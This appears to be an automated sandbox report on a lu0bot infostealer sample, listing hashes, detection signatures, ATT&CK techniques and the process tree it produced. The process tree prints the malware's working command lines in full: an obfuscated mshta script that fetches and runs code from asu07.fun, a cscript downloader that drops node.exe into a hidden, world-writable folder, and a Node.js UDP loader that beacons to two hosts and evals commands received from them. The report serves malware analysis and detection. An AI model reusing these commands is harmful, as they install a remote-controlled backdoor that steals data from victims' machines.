lu0bot | db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0

Analysis

max time kernel
150s
max time network
142s
platform
windows10_x64
resource
win10v20210408
submitted
04-08-2021 09:25

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General

Target

usfive_20210804-112044.exe
Size

3KB
MD5

172da997f8be4c8d0318a322c8ee806e
SHA1

224d3e925800815e792af3a28f8d2dffb9c21e70
SHA256

db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
SHA512

75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	3956	mshta.exe
12	3000	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1348	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3936	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
908	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2756	ipconfig.exe
3872	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3164	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\ProgramData\DNTException\node.exe:da34110782e124d0377734a83a33b6fa	node.exe
File created	C:\Users\Admin\AppData\Local\Temp\a64d429b3ed7e2d0:ads	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1348	node.exe
1348	node.exe
1348	node.exe
1348	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3640	wmic.exe
Token: SeSecurityPrivilege	3640	wmic.exe
Token: SeTakeOwnershipPrivilege	3640	wmic.exe
Token: SeLoadDriverPrivilege	3640	wmic.exe
Token: SeSystemProfilePrivilege	3640	wmic.exe
Token: SeSystemtimePrivilege	3640	wmic.exe
Token: SeProfSingleProcessPrivilege	3640	wmic.exe
Token: SeIncBasePriorityPrivilege	3640	wmic.exe
Token: SeCreatePagefilePrivilege	3640	wmic.exe
Token: SeBackupPrivilege	3640	wmic.exe
Token: SeRestorePrivilege	3640	wmic.exe
Token: SeShutdownPrivilege	3640	wmic.exe
Token: SeDebugPrivilege	3640	wmic.exe
Token: SeSystemEnvironmentPrivilege	3640	wmic.exe
Token: SeRemoteShutdownPrivilege	3640	wmic.exe
Token: SeUndockPrivilege	3640	wmic.exe
Token: SeManageVolumePrivilege	3640	wmic.exe
Token: 33	3640	wmic.exe
Token: 34	3640	wmic.exe
Token: 35	3640	wmic.exe
Token: 36	3640	wmic.exe
Token: SeIncreaseQuotaPrivilege	3640	wmic.exe
Token: SeSecurityPrivilege	3640	wmic.exe
Token: SeTakeOwnershipPrivilege	3640	wmic.exe
Token: SeLoadDriverPrivilege	3640	wmic.exe
Token: SeSystemProfilePrivilege	3640	wmic.exe
Token: SeSystemtimePrivilege	3640	wmic.exe
Token: SeProfSingleProcessPrivilege	3640	wmic.exe
Token: SeIncBasePriorityPrivilege	3640	wmic.exe
Token: SeCreatePagefilePrivilege	3640	wmic.exe
Token: SeBackupPrivilege	3640	wmic.exe
Token: SeRestorePrivilege	3640	wmic.exe
Token: SeShutdownPrivilege	3640	wmic.exe
Token: SeDebugPrivilege	3640	wmic.exe
Token: SeSystemEnvironmentPrivilege	3640	wmic.exe
Token: SeRemoteShutdownPrivilege	3640	wmic.exe
Token: SeUndockPrivilege	3640	wmic.exe
Token: SeManageVolumePrivilege	3640	wmic.exe
Token: 33	3640	wmic.exe
Token: 34	3640	wmic.exe
Token: 35	3640	wmic.exe
Token: 36	3640	wmic.exe
Token: SeDebugPrivilege	3872	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 3956	904	usfive_20210804-112044.exe	74
PID 904 wrote to memory of 3956	904	usfive_20210804-112044.exe	74
PID 904 wrote to memory of 3956	904	usfive_20210804-112044.exe	74
PID 3956 wrote to memory of 3488	3956	mshta.exe	76
PID 3956 wrote to memory of 3488	3956	mshta.exe	76
PID 3956 wrote to memory of 3488	3956	mshta.exe	76
PID 3488 wrote to memory of 3000	3488	cmd.exe	78
PID 3488 wrote to memory of 3000	3488	cmd.exe	78
PID 3488 wrote to memory of 3000	3488	cmd.exe	78
PID 3488 wrote to memory of 772	3488	cmd.exe	79
PID 3488 wrote to memory of 772	3488	cmd.exe	79
PID 3488 wrote to memory of 772	3488	cmd.exe	79
PID 3488 wrote to memory of 2284	3488	cmd.exe	80
PID 3488 wrote to memory of 2284	3488	cmd.exe	80
PID 3488 wrote to memory of 2284	3488	cmd.exe	80
PID 2284 wrote to memory of 1348	2284	cscript.exe	81
PID 2284 wrote to memory of 1348	2284	cscript.exe	81
PID 2284 wrote to memory of 1348	2284	cscript.exe	81
PID 1348 wrote to memory of 3836	1348	node.exe	85
PID 1348 wrote to memory of 3836	1348	node.exe	85
PID 1348 wrote to memory of 3836	1348	node.exe	85
PID 1348 wrote to memory of 608	1348	node.exe	86
PID 1348 wrote to memory of 608	1348	node.exe	86
PID 1348 wrote to memory of 608	1348	node.exe	86
PID 1348 wrote to memory of 3936	1348	node.exe	87
PID 1348 wrote to memory of 3936	1348	node.exe	87
PID 1348 wrote to memory of 3936	1348	node.exe	87
PID 1348 wrote to memory of 4084	1348	node.exe	88
PID 1348 wrote to memory of 4084	1348	node.exe	88
PID 1348 wrote to memory of 4084	1348	node.exe	88
PID 1348 wrote to memory of 2208	1348	node.exe	89
PID 1348 wrote to memory of 2208	1348	node.exe	89
PID 1348 wrote to memory of 2208	1348	node.exe	89
PID 1348 wrote to memory of 908	1348	node.exe	91
PID 1348 wrote to memory of 908	1348	node.exe	91
PID 1348 wrote to memory of 908	1348	node.exe	91
PID 1348 wrote to memory of 3640	1348	node.exe	93
PID 1348 wrote to memory of 3640	1348	node.exe	93
PID 1348 wrote to memory of 3640	1348	node.exe	93
PID 1348 wrote to memory of 2756	1348	node.exe	94
PID 1348 wrote to memory of 2756	1348	node.exe	94
PID 1348 wrote to memory of 2756	1348	node.exe	94
PID 1348 wrote to memory of 936	1348	node.exe	95
PID 1348 wrote to memory of 936	1348	node.exe	95
PID 1348 wrote to memory of 936	1348	node.exe	95
PID 1348 wrote to memory of 3872	1348	node.exe	96
PID 1348 wrote to memory of 3872	1348	node.exe	96
PID 1348 wrote to memory of 3872	1348	node.exe	96
PID 1348 wrote to memory of 3164	1348	node.exe	97
PID 1348 wrote to memory of 3164	1348	node.exe	97
PID 1348 wrote to memory of 3164	1348	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4084	attrib.exe
2208	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628069116727.txt & cscript /nologo /e:jscript get1628069116727.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2294e00e2%26b%3D3f973576" node.cab & expand node.cab node.exe & del get1628069116727.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628069116727.txt & cscript /nologo /e:jscript get1628069116727.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27294e00e2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628069116727.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628069116727.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2294e00e2%26b%3D3f973576" node.cab
      4⤵
      Blocklisted process makes network request
      PID:3000
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:772
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628069116727.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27294e00e2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2284
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27294e00e2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1348
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3836
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:608
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3936
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:4084
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2208
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:908
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3640
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2756
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:936
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3872
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3164

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1348-128-0x0000000026E00000-0x0000000026E01000-memory.dmp

Filesize
4KB

Download
memory/1348-125-0x0000000036600000-0x0000000036601000-memory.dmp

Filesize
4KB

Download
memory/1348-126-0x0000000006300000-0x0000000006301000-memory.dmp

Filesize
4KB

Download
memory/1348-127-0x000000001E900000-0x000000001E901000-memory.dmp

Filesize
4KB

Download
memory/1348-129-0x0000000004E00000-0x0000000004E01000-memory.dmp

Filesize
4KB

Download
memory/1348-130-0x0000000017900000-0x0000000017901000-memory.dmp

Filesize
4KB

Download